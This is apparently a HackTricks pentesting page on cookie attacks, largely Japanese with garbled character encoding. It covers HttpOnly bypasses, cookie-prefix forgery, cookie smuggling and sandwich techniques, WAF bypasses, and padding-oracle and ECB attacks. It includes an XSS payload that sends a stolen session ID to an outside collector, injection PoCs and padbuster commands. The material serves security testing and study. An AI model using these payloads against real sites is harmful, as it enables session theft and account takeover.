Cookies Hacking
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Cookie Attributes
Cookies ã«ã¯ããŠãŒã¶ãŒã®ãã©ãŠã¶ã§ã®æ¯ãèããå¶åŸ¡ããããã€ãã®å±æ§ãããã以äžã¯ãããã®å±æ§ã®æŠèŠïŒååçãªè¡šçŸïŒã§ããã
Expires and Max-Age
Expires 屿§ã§ cookie ã®æå¹æéãæ±ºãŸãã察ã㊠Max-age 屿§ã¯ cookie ãåé€ããããŸã§ã®ç§æ°ãå®çŸ©ãããããã¢ãã³ãªæ
£ç¿ãåæ ãããããMax-age ãéžæããããšãæšå¥šãããã
Domain
cookie ãåãåããã¹ã㯠Domain 屿§ã§æå®ããããããã©ã«ãã§ã¯ãã㯠cookie ãçºè¡ãããã¹ãã«èšå®ããããµããã¡ã€ã³ã¯å«ãŸããªããããã Domain 屿§ãæç€ºçã«èšå®ãããšãµããã¡ã€ã³ãå
å«ããããããã«ãã Domain 屿§ã®æå®ã¯å¶çŽã®å°ãªãéžæè¢ãšãªãããµããã¡ã€ã³éã§ cookie ãå
±æããå¿
èŠãããå Žåã«æçšã§ãããäŸãã° Domain=mozilla.org ãšãããš developer.mozilla.org ã®ãããªãµããã¡ã€ã³ã§ã cookie ã«ã¢ã¯ã»ã¹ã§ããã
Path
Path 屿§ã¯ããªã¯ãšã¹ãããã URL ã«ãã®ç¹å®ã®ãã¹ãå«ãŸããŠããå Žåã« Cookie ããããéä¿¡ãããããšã瀺ãããã®å±æ§ã¯ / ããã£ã¬ã¯ããªåºåããšããŠæ±ãããããµããã£ã¬ã¯ããªã«ããããããã
Ordering Rules
åãååã® cookie ãäºã€ããå Žåãéä¿¡ããã cookie ã®éžæã¯ä»¥äžã«åºã¥ã:
- ãªã¯ãšã¹ã URL ã«ãããŠæãé·ã path ã«ããããã cookie
- ãã¹ãåäžã§ããã°ãããæ°ããèšå®ããã cookie
SameSite
SameSite 屿§ã¯ãµãŒãããŒãã£ãã¡ã€ã³çºã®ãªã¯ãšã¹ãã§ cookie ãéä¿¡ãããããæ±ºå®ãããèšå®ã¯ä»¥äžã®3ã€ã§ãã:
- Strict: ãµãŒãããŒãã£ãªã¯ãšã¹ãã§ã® cookie éä¿¡ãçŠæ¢ããã
- Lax: ãµãŒãããŒãã£ãµã€ãããéå§ããã GET ãªã¯ãšã¹ãã«å¯Ÿã㊠cookie ã®éä¿¡ãèš±å¯ããã
- None: ã©ã®ãµãŒãããŒãã£ãã¡ã€ã³ããã®ãªã¯ãšã¹ãã§ã cookie ã®éä¿¡ãèš±å¯ããã
cookie ãèšå®ããéããããã®å±æ§ãçè§£ããŠããããšã§æ§ã ãªã·ããªãªã§æåŸ éãã«åäœãããããšãã§ããã
| ãªã¯ãšã¹ãçš®å¥ | äŸïŒã³ãŒãïŒ | Cookie ãéä¿¡ãããå Žå |
|---|---|---|
| ãªã³ã¯ (Link) | <a href=ââŠâ></a> | NotSet*, Lax, None |
| Prerender | <link rel=âprerenderâ href=â..â/> | NotSet*, Lax, None |
| ãã©ãŒã GET | <form method=âGETâ action=ââŠâ> | NotSet*, Lax, None |
| ãã©ãŒã POST | <form method=âPOSTâ action=ââŠâ> | NotSet*, None |
| iframe | <iframe src=ââŠâ></iframe> | NotSet*, None |
| AJAX | $.get(ââŠâ) | NotSet*, None |
| ç»å (Image) | <img src=ââŠâ> | NetSet*, None |
Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.
*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
泚æ: ãã®å€æŽé©çšåŸãäžæçã« Chrome 㯠SameSite ããªã·ãŒãæããªã cookie ãæåã®2åé㯠None ãšæ±ãããã®åŸãããã¬ãã«ã®ã¯ãã¹ãµã€ã POST ãªã¯ãšã¹ãã«å¯ŸããŠã¯ Lax ãšæ±ãã
Cookies Flags
HttpOnly
ããã«ããã¯ã©ã€ã¢ã³ãã cookie ã«ã¢ã¯ã»ã¹ããããšã鲿¢ãããïŒäŸãã° Javascript ã® document.cookieïŒã
Bypasses
- ããŒãžããªã¯ãšã¹ãã®ã¬ã¹ãã³ã¹ãšã㊠cookie ãéä¿¡ããŠããå ŽåïŒäŸ: PHPinfo ããŒãžïŒãXSS ãæªçšããŠãã®ããŒãžãžãªã¯ãšã¹ããéããã¬ã¹ãã³ã¹ãã cookie ã çã ããšãå¯èœã§ããïŒäŸã¯ https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/ ãåç §ïŒã
- ãµãŒããéããã cookie ãã¬ã¹ãã³ã¹ã§åæ ããå ŽåïŒãã TRACE ã¡ãœãããå©çšå¯èœã§ããã°ïŒãTRACE HTTP ãªã¯ãšã¹ãã§ããããã€ãã¹ã§ããããšãããããã®æè¡ã¯ Cross-Site Tracking ãšåŒã°ããã
- çŸä»£ã®ãã©ãŠã¶ã¯ JS ãã TRACE ãªã¯ãšã¹ããéä¿¡ã§ããªãããã«ããŠãã®ææ³ãé²ãã§ãããããããIE6.0 SP2 ã«å¯ŸããŠ
\r\nTRACEãéããªã©ãç¹å®ã®ãœãããŠã§ã¢ã«å¯Ÿãããã€ãã¹ãçºèŠãããäŸãããã - å¥ã®æ¹æ³ãšããŠãã©ãŠã¶ã® zero/day è匱æ§ãæªçšããææ³ãããã
- Cookie Jar overflow attack ãå®è¡ããããšã§ HttpOnly cookie ãäžæžãããããšãå¯èœã§ãã:
- ãããã® cookie ãå€éšéä¿¡ïŒexfiltrateïŒããããã« Cookie Smuggling æ»æã䜿ãããšãå¯èœã§ãã
- ããä»»æã®ãµãŒããµã€ãã®ãšã³ããã€ã³ãã HTTP ã¬ã¹ãã³ã¹å ã«çã®ã»ãã·ã§ã³ ID ããšã³ãŒããŠããå ŽåïŒäŸ: HTML ã³ã¡ã³ãããããã°ãããã¯å ïŒãXSS ã¬ãžã§ãããçšããŠãã®ãšã³ããã€ã³ããååŸããæ£èŠè¡šçŸã§ç§å¯ãæœåºããŠå€éšéä¿¡ããããšã§ HttpOnly ãåé¿ã§ãããäŸãšããŠã® XSS ãã€ããŒããã¿ãŒã³:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
ãªã¯ãšã¹ãã¯ãã»ãã¥ã¢ãªãã£ãã«ïŒé垞㯠HTTPSïŒã§éä¿¡ãããå Žåã«ã®ã¿ãHTTPãªã¯ãšã¹ãã«ã¯ãããŒãéä¿¡ããŸãã
Cookies Prefixes
Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.
For cookies prefixed with __Host-, several conditions must be met:
- They must be set with the
secureflag. - They must originate from a page secured by HTTPS.
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
- The path for these cookies must be set to
/.
It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.
Overwriting cookies
ã€ãŸãã__Host- ãã¬ãã£ãã¯ã¹ä»ãã¯ãããŒã®ä¿è·ã®äžã€ã¯ããµããã¡ã€ã³ããã®äžæžããé²ãããšã§ããäŸãã° Cookie Tossing attacks ãé²ããŸããè¬æŒ Cookie Crumbles: Unveiling Web Session Integrity VulnerabilitiesïŒpaperïŒã§ã¯ãããŒãµãéšãããšã§ãµããã¡ã€ã³ãã __HOST- ãã¬ãã£ãã¯ã¹ä»ãã¯ãããŒãèšå®ã§ããããšã瀺ãããŠãããäŸãã°ååã®å
é ãå
é ãšæ«å°Ÿã« â=â ã远å ãããªã©ã®ææ³ãæããããŠããŸãïŒ
 (1) (1) (1) (1).png)
ãŸããPHPã§ã¯ã¯ãããŒåã®å
é ã«ä»ã®æåã远å ãããããã¢ã³ããŒã¹ã³ã¢ã«çœ®æãããããšã§ __HOST- ã¯ãããŒãäžæžãã§ããå ŽåããããŸããïŒ
 (1) (1) (1) (1).png)
Unicode whitespace cookie-name smuggling (prefix forgery)
ã¯ãããŒåã®å
é ã«Unicodeã®ç©ºçœã³ãŒããã€ã³ããä»å ããŠãbrowserãšserverã®ããŒã¹ã®äžäžèŽãæªçšããŸãããã©ãŠã¶åŽã¯ååãæåéã __Host-/__Secure- ã§å§ãŸããšã¯èŠãªããªãããããµããã¡ã€ã³ããã®èšå®ãèš±å¯ããŸããããã¯ãšã³ããã¯ãããŒããŒã®å
é ã®Unicode空çœãããªã ïŒæ£èŠåããå Žåãä¿è·ãããååãšããŠèªèãã髿š©éã®ã¯ãããŒãäžæžãããŠããŸãå¯èœæ§ããããŸãã
- PoC from a subdomain that can set parent-domain cookies:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
-
Typical backend behavior that enables the issue:
-
CookieããŒãããªã /æ£èŠåãããã¬ãŒã ã¯ãŒã¯ãDjangoã§ã¯ãPythonã®
str.strip()ãå¹ åºãUnicode空çœã³ãŒããã€ã³ããåé€ããååã__Host-nameã«æ£èŠåãããã -
äžè¬çã«ããªã ãããã³ãŒããã€ã³ãã«ã¯æ¬¡ã®ãã®ãå«ãŸãã: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000âU+200A (8192â8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288)ã
-
å€ãã®ãã¬ãŒã ã¯ãŒã¯ã¯éè€ããCookieåããæåŸã®ãã®ãåã€ãæ¹åŒã§è§£æ±ºãããããæ»æè ãå¶åŸ¡ããæ£èŠåãããCookieå€ãæ£åœãªå€ãäžæžãããã
-
Browser differences matter:
-
Safariã¯Cookieåã®ãã«ããã€ãUnicode空çœããããã¯ããïŒäŸ: U+2000ãæåŠïŒããåäžãã€ãã®U+0085ãU+00A0ã¯äŸç¶ãšããŠèš±å¯ããå Žåãããããããã¯å€ãã®ããã¯ãšã³ãã§ããªã ãããããã©ãŠã¶éã§ã¯ãã¹ãã¹ããè¡ãããšã
-
Impact: Enables overwriting of
__Host-/__Secure-cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation. -
On-the-wire vs server view example (U+2000 present in name):
Cookie: __Host-name=Real; ââ¬â¬__Host-name=<img src=x onerror=alert(1)>;
å€ãã®ããã¯ãšã³ã㯠split/parse ããåŸã« trim ãè¡ããããæ£èŠåããã __Host-name ãæ»æè
ã®å€ãåã£ãŠããŸããŸãã
ã¬ã¬ã·ãŒ $Version=1 cookie splitting on Java backends (prefix bypass)
äžéšã® Java ã¹ã¿ãã¯ïŒäŸ: Tomcat/Jetty-styleïŒã§ã¯ãCookie ãããã $Version=1 ã§å§ãŸããšãã«ãå€ã RFC 2109/2965 ããŒã·ã³ã°ãæå¹ã«ãªã£ãŠããããšããããŸããããã«ããããµãŒãã¯åäžã® cookie æååãè€æ°ã®è«çç㪠cookie ãšããŠåè§£éãããµããã¡ã€ã³ãå®å
šã§ãªããªãªãžã³ã§èšå®ãããåœé ã® __Host- ãšã³ããªãåãå
¥ããŠããŸãå¯èœæ§ããããŸãã
- PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
-
ãªãåäœããã®ã:
-
ã¯ã©ã€ã¢ã³ãåŽã®ãã¬ãã£ãã¯ã¹ãã§ãã¯ã¯èšå®æã«é©çšããããããµãŒããŒåŽã®æ§åŒã®ããŒã¹ãåŸã§ããããŒãåå²ã»æ£èŠåããããã
__Host-/__Secure-ãã¬ãã£ãã¯ã¹ã®æå³ãåé¿ããŠããŸãã -
詊ãå Žæ: TomcatãJettyãUndertowããŸã㯠RFC 2109/2965 ã®å±æ§ããŸã å°éãããã¬ãŒã ã¯ãŒã¯ãéè€åã®äžæžãã»ãã³ãã£ã¯ã¹ãšçµã¿åãããã
éè€åã®ãæåŸãåã€ãäžæžãããªããã£ã
2ã€ã® cookie ãåãååã«æ£èŠåããããšãå€ãã®ããã¯ãšã³ãïŒDjango ãå«ãïŒã¯æåŸã«çŸãããã®ã䜿çšããŸããsmuggling/legacy-splitting ã«ãã __Host-* ã2ã€çæãããå Žåãéåžžã¯æ»æè
ãå¶åŸ¡ããæ¹ãåã¡ãŸãã
æ€åºãšããŒã«
ãããã®æ¡ä»¶ã調æ»ããã«ã¯ Burp Suite ã䜿çšãã:
- è€æ°ã®å é Unicode 空çœã³ãŒããã€ã³ãïŒU+2000ãU+0085ãU+00A0 ãªã©ïŒã詊ããããã¯ãšã³ããããªãã³ã°ããŠååããã¬ãã£ãã¯ã¹ä»ããšããŠæ±ãã確èªããã
- Cookie ãããã§æåã«
$Version=1ãéä¿¡ããããã¯ãšã³ãã legacy splitting/normalization ãè¡ãã確èªããã - åãååã«æ£èŠåããã2ã€ã® cookie ãæ³šå ¥ããŠãéè€åã®è§£æ±ºïŒå åã¡ vs åŸåã¡ïŒã芳å¯ããã
- èªååçšã® Burp Custom Action: CookiePrefixBypass.bambda
Tip: ãããã®ææ³ã¯ RFC 6265 ã® octet-vs-string ã®ã£ãããæªçšããŸã: ãã©ãŠã¶ã¯ãã€ããéä¿¡ãããµãŒãã¯ãã³ãŒãããŠæ£èŠå/ããªã ããããšããããŸãããã³ãŒããšæ£èŠåã®äžäžèŽããã€ãã¹ã®æ žå¿ã§ãã
Cookies æ»æ
ã«ã¹ã¿ã cookie ã«æ©å¯ããŒã¿ãå«ãŸããŠããå Žåã¯å¿ ã確èªããŠãã ããïŒç¹ã« CTF ããã¬ã€ããŠããå ŽåïŒãè匱ã§ããå¯èœæ§ããããŸãã
Cookies ã®ãã³ãŒããšæ¹å€
cookie ã«åã蟌ãŸããæ©å¯ããŒã¿ã¯åžžã«ç²Ÿæ»ããå¿ èŠããããŸããBase64 ãªã©ã®åœ¢åŒã§ãšã³ã³ãŒãããã cookie ã¯ãã°ãã°ãã³ãŒãå¯èœã§ãããã®è匱æ§ã«ãããæ»æè 㯠cookie ã®å 容ã倿Žãã倿ŽåŸã®ããŒã¿ãå床ãšã³ã³ãŒãã㊠cookie ã«æ»ãããšã§ä»ã®ãŠãŒã¶ãåœè£ ã§ããŸãã
Session Hijacking
ãã®æ»æã¯ãŠãŒã¶ã® cookie ãçãã§ã¢ããªã±ãŒã·ã§ã³å ã®ã¢ã«ãŠã³ããžäžæ£ã¢ã¯ã»ã¹ããããšã䌎ããŸããçãã cookie ã䜿çšããããšã§ãæ»æè ã¯æ£åœãªãŠãŒã¶ã«ãªãããŸãããšãã§ããŸãã
Session Fixation
ãã®å Žåãæ»æè ã¯è¢«å®³è ãéšããŠç¹å®ã® cookie ã䜿ã£ãŠãã°ã€ã³ãããŸããã¢ããªã±ãŒã·ã§ã³ããã°ã€ã³æã«æ°ãã cookie ãå²ãåœãŠãªãå Žåãæ»æè ã¯å ã® cookie ãä¿æããŠè¢«å®³è ãåœè£ ã§ããŸãããã®ææ³ã¯ã被害è ãæ»æè ãçšæãã cookie ã䜿ã£ãŠãã°ã€ã³ããããšã«äŸåããŸãã
ãããµããã¡ã€ã³ã§XSSãèŠã€ããããŸãã¯ãµããã¡ã€ã³ãå¶åŸ¡ããŠããå Žåã¯ã以äžãèªãã§ãã ããïŒ
Session Donation
ããã§ã¯ãæ»æè ã被害è ã«æ»æè ã®ã»ãã·ã§ã³ cookie ã䜿ãããŸãã被害è ã¯èªåã®ã¢ã«ãŠã³ãã«ãã°ã€ã³ããŠãããšä¿¡ããŠãæå³ããæ»æè ã®ã¢ã«ãŠã³ãã®ã³ã³ããã¹ãã§æäœãè¡ã£ãŠããŸããŸãã
ãããµããã¡ã€ã³ã§XSSãèŠã€ããããŸãã¯ãµããã¡ã€ã³ãå¶åŸ¡ããŠããå Žåã¯ã以äžãèªãã§ãã ããïŒ
JWT Cookies
åã®ãªã³ã¯ãã¯ãªãã¯ãããšãJWT ã®æœåšçãªæ¬ é¥ã«ã€ããŠèª¬æããããŒãžã«ã¢ã¯ã»ã¹ã§ããŸãã
Cookies ã«äœ¿çšããã JSON Web Tokens (JWT) ãè匱æ§ãæã€ããšããããŸããæœåšçãªæ¬ é¥ããããæªçšããæ¹æ³ã®è©³çްã«ã€ããŠã¯ããªã³ã¯å ã® hacking JWT ããã¥ã¡ã³ããåç §ããããšãæšå¥šããŸãã
Cross-Site Request Forgery (CSRF)
ãã®æ»æã¯ããã°ã€ã³äžã®ãŠãŒã¶ã«å¯ŸããŠããã®ãŠãŒã¶ãèªèšŒãããŠãã web ã¢ããªã±ãŒã·ã§ã³äžã§æãŸãããªãæäœãå®è¡ãããŸããæ»æè ã¯ãè匱ãªãµã€ãã«å¯ŸããŠéä¿¡ããããªã¯ãšã¹ããšãšãã«èªåçã«éããã cookie ãæªçšã§ããŸãã
空㮠Cookies
(Check further details in theoriginal research) ãã©ãŠã¶ã¯ååãªãã® cookie ãäœæããããšãèš±å¯ããŠãããããã¯ä»¥äžã® JavaScript ã§ç€ºãããšãã§ããŸã:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
éä¿¡ããã cookie ããããŒã®çµæã¯ a=v1; test value; b=v2; ã§ããè峿·±ãããšã«ãååã空㮠cookie ãèšå®ãããš cookie ãæäœã§ããå¯èœæ§ãããã空㮠cookie ã«ç¹å®ã®å€ãèšå®ããããšã§ä»ã® cookie ãå¶åŸ¡ã§ããå ŽåããããŸãïŒ
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
ããã«ãããã©ãŠã¶ã¯ cookie ããããéä¿¡ãããã¹ãŠã® Web ãµãŒãã¯ãããååã aãå€ã b ã® cookie ãšããŠè§£éããŸãã
Chrome ãã°: Unicode ãµãã²ãŒãã³ãŒããã€ã³ãã®åé¡
Chrome ã§ã¯ãUnicode ã®ãµãã²ãŒãã³ãŒããã€ã³ãã set cookie ã®äžéšã«ãªã£ãŠãããšãdocument.cookie ãç Žæãããã®åŸç©ºã®æååãè¿ããŸã:
document.cookie = "\ud800=meep"
ããã«ãã document.cookie ã¯ç©ºæååãåºåããæä¹
çãªç Žæã瀺ããŸãã
Cookie Smuggling: ããŒã¹ã®åé¡ã«ãã
(詳现ã¯original research ãã確èªãã ãã) Java (Jetty, TomCat, Undertow) ã Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) ãå«ãããã€ãã® web ãµãŒãã¯ãå€ã RFC2965 ã®ãµããŒãã®ããã« cookie æååã誀åŠçããŸãããããã¯ãã»ãã³ãã³ã§åºåãããã¯ãã® key-value ãã¢ãå«ãã§ããŠããããã«ã¯ãªãŒãã§å²ãŸãã cookie å€ãåäžã®å€ãšããŠèªã¿åããŸãïŒ
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie æ³šå ¥ã®è匱æ§
(Check further details in theoriginal research) ãµãŒããŒãç¹ã« UndertowãZopeãããã³ Python ã® http.cookie.SimpleCookie ã http.cookie.BaseCookie ã䜿ã£ãŠãããã®ã«ãã cookie ã®èª€ã£ãããŒã¹ã¯ãcookie injection æ»æã®æ©äŒãçã¿ãŸãããããã®ãµãŒããŒã¯æ°ãã cookie ã®éå§ãæ£ããåºåãããæ»æè
ã cookie ãåœè£
ã§ããç¶æ
ã«ãªããŸã:
- Undertow ã¯åŒçšç¬Šã§å²ãŸããå€ã®çŽåŸã«ã»ãã³ãã³ãªãã§æ°ãã cookie ãæåŸ ããŸãã
- Zope ã¯æ¬¡ã® cookie ã®è§£æãéå§ããããã«ã³ã³ããæ¢ããŸãã
- Python ã® cookie ã¯ã©ã¹ã¯ã¹ããŒã¹æåã§è§£æãéå§ããŸãã
ãã®è匱æ§ã¯ cookie ããŒã¹ã® CSRF ä¿è·ã«äŸåãã Web ã¢ããªã±ãŒã·ã§ã³ã§ç¹ã«å±éºã§ãæ»æè
ãåœã® CSRF-token cookie ãæ³šå
¥ããŠã»ãã¥ãªãã£å¯Ÿçãåé¿ããå¯èœæ§ããããŸããPython ãååã® cookie ãéè€ãããå Žåã«åŸã®åºçŸãå
ã®ãã®ãäžæžãããæ±ããåé¡ãæªåãããŸããããã«ã__Secure- ã __Host- cookie ãå®å
šã§ãªãã³ã³ããã¹ãã§åé¡ãåŒãèµ·ããæžå¿µããããcookie ãããã¯ãšã³ãã®ãµãŒããŒã«æž¡ããããã®ãµãŒããŒãåœè£
ã«åŒ±ãå Žåã«ã¯èªå¯ãã€ãã¹ã«ã€ãªããå¯èœæ§ããããŸãã
Cookies $version
WAF Bypass
According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.
Cookie Sandwich Attack
According to this blogpost itâs possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:
- ã¬ã¹ãã³ã¹ã«ç¡æå³ã«èŠãã cookie ãåæ ãããå Žæ ãèŠã€ãã
$Versionãšãã cookie ãäœæããïŒå€ã¯1ããã㯠XSS ã«ãã JS ããå®è¡å¯èœïŒããå ·äœç㪠path ãæå®ããŠæåã®äœçœ®ã確ä¿ããïŒäžéšã®ãã¬ãŒã ã¯ãŒã¯ãäŸãã° python ã¯ãã®ã¹ããããå¿ èŠãšããªãïŒ- ã¬ã¹ãã³ã¹ã«åæ ããã cookie ãäœæããïŒå€ã¯éãã double quotes ãæ®ããç¹å®ã® path ãæå®ããŠåã® (
$Version) ã®åŸã« cookie DB ã«é 眮ãããããã«ããïŒ - ãããšãæ£èŠã® cookie ãé åºäžãã®æ¬¡ã«æ¥ã
- å€ã®äžã§ double quotes ãéãããããŒã® cookie ãäœæãã
ãã®ããã«ããŠè¢«å®³è ã® cookie ã¯æ°ããããŒãžã§ã³1ã® cookie ã«åã蟌ãŸããåæ ããããã³ã«å«ãŸããããã«ãªããŸãã äŸ: æçš¿ãã:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
åã®ã»ã¯ã·ã§ã³ã確èªããŠãã ããã
Bypassing value analysis with quoted-string encoding
ãã®ããŒã¹ã¯ cookie å ã®ãšã¹ã±ãŒããããå€ã unescapeïŒãšã¹ã±ãŒãè§£é€ïŒããããšã瀺ããŸããã€ãŸã â\aâ 㯠âaâ ã«ãªããŸãããã㯠WAFS ããã€ãã¹ããã®ã«æçšã§ã:
eval('test') => forbidden"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
RFC2109 ã§ã¯ãã«ã³ã㯠cookie å€ã®åºåãã«äœ¿ãããšç€ºãããŠããŸãããŸããçå·ã®ååŸã« ã¹ããŒã¹ãã¿ãã远å ã§ããããšãå¯èœã§ãããããã£ãŠ $Version=1; foo=bar, abc = qux ã®ãã㪠cookie 㯠"foo":"bar, admin = qux" ãšãã cookie ãçæããã®ã§ã¯ãªããfoo":"bar" ãš "admin":"qux" ãšãã cookie ãçæããŸãã2 ã€ã® cookie ãçæãããadmin ã®çå·ã®ååŸã®ã¹ããŒã¹ãåãé€ãããŠããããšã«æ³šæããŠãã ããã
Bypassing value analysis with cookie splitting
æåŸã«ãç°ãªã backdoors ã¯ç°ãªã cookie ãããã§æž¡ãããè€æ°ã® cookie ãäžã€ã®æååã«çµåããããšããããŸããäŸãã°:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
ããã¯æ¬¡ã®äŸã®ããã« WAF ããã€ãã¹ã§ããå¯èœæ§ããããŸã:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
远å ã®è匱㪠Cookies ãã§ãã¯
åºæ¬çãªãã§ãã¯
- æ¯åloginãããã³ã«cookieãåãã確èªããã
- ãã°ã¢ãŠãããŠåãcookieã䜿ããã詊ãã
- åãcookieã䜿ãã2å°ã®ããã€ã¹ïŒãŸãã¯ãã©ãŠã¶ïŒã§åãã¢ã«ãŠã³ãã«log inã§ããã詊ãã
- cookieã«æ å ±ãå«ãŸããŠãããã確èªãã倿Žã§ããã詊ãã
- ã»ãŒåãusernameã§è€æ°ã®ã¢ã«ãŠã³ããäœæããé¡äŒŒç¹ãèŠããã確èªããã
- ååšããå Žåã¯âremember meâãªãã·ã§ã³ãã©ã®ããã«åäœãããã確èªãããããååšãè匱ã§ããåŸãå Žåã¯ãä»ã®cookieã䜿ããåžžã«remember meã®cookieã®ã¿ã䜿çšããã
- ãã¹ã¯ãŒãã倿ŽããåŸã§ã以åã®cookieãæå¹ã確èªããã
é«åºŠãª cookies æ»æ
ããcookieãloginæã«åãïŒãŸãã¯ã»ãŒåãïŒã®ãŸãŸã§ããã°ãããã¯ãã®cookieãã¢ã«ãŠã³ãã®äœããã®ãã£ãŒã«ãïŒããããusernameïŒã«é¢é£ããŠããããšã瀺ãå¯èœæ§ãé«ããããããå Žåãæ¬¡ã®ããšãã§ããïŒ
- éåžžã«similarãªusernamesã§å€§éã®accountsãäœæããã¢ã«ãŽãªãºã ãã©ã®ããã«åäœããŠããããguessããã
- bruteforce the usernameã詊ã¿ããããcookieãusernameã®èªèšŒææ®µãšããŠã®ã¿ä¿åãããŠãããªããusernameãâBminâã«ããŠã¢ã«ãŠã³ããäœæããcookieã®åbitãbruteforceã§ããïŒè©Šãcookieã®ãã¡ã®1ã€ãâadminâã®ãã®ã«ãªãããïŒã
- Padding Oracleã詊ãïŒcookieã®å 容ã埩å·ã§ããå ŽåãããïŒãpadbusterã䜿ãã
Padding Oracle - Padbuster ã®äŸ
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbusterã¯ããã€ã詊è¡ãè¡ããã©ã®æ¡ä»¶ããšã©ãŒæ¡ä»¶ïŒç¡å¹ãªãã®ïŒããå°ããŠããŸãã
ãã®åŸãcookieã®decryptingãéå§ããŸãïŒæ°åãããå ŽåããããŸãïŒ
ããattackãæ£åžžã«å®è¡ãããŠããã°ãä»»æã®æååãencryptããŠã¿ãããšãã§ããŸããäŸãã°ãencrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
ãã®å®è¡ã«ãããæåå user=administrator ãå«ãããã«ãcookie ãæ£ããæå·åããã³ãšã³ã³ãŒããããŸãã
CBC-MAC
cookie ã«äœããã®å€ããããCBC ã䜿ã£ãŠçœ²åãããŠããå¯èœæ§ããããŸãããã®å Žåããã®å€ã®æŽåæ§ã¯åãå€ã CBC ã§åŠçããŠäœããã眲åã«ãã£ãŠä¿ãããŸããIV ãšã㊠null vector ã䜿ãããšãæšå¥šãããŠããããããã®çš®ã®æŽåæ§ãã§ãã¯ã¯è匱ã«ãªãåŸãŸãã
The attack
- username administ = t ã®çœ²åãååŸãã
- username rator\x00\x00\x00 XOR t = tâ ã®çœ²åãååŸãã
- cookie ã« administrator+tâ ãèšå®ããïŒtâ 㯠(rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 ã®æå¹ãªçœ²åã«ãªãïŒ
ECB
ãã cookie ã ECB ã§æå·åãããŠããå Žåãè匱ã§ããå¯èœæ§ããããŸãã
ãã°ã€ã³æã«åãåã cookie ã¯åžžã«åãã§ããã¯ãã§ãã
How to detect and attack:
ã»ãŒåãããŒã¿ïŒusername, password, email, etc.ïŒã§2ã€ã®ãŠãŒã¶ãäœæããäžãããã cookie ã®äžã«äœããã®ãã¿ãŒã³ããªãã調ã¹ãŸã
äŸãã° âaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaâ ãšãããŠãŒã¶ãäœæããcookie ã«ãã¿ãŒã³ãããã確èªããŸãïŒECB ã¯åãããã¯ãåãããŒã§æå·åãããããusername ãæå·åãããŠããã°åãæå·åãã€ãåãçŸããå¯èœæ§ããããŸãïŒã
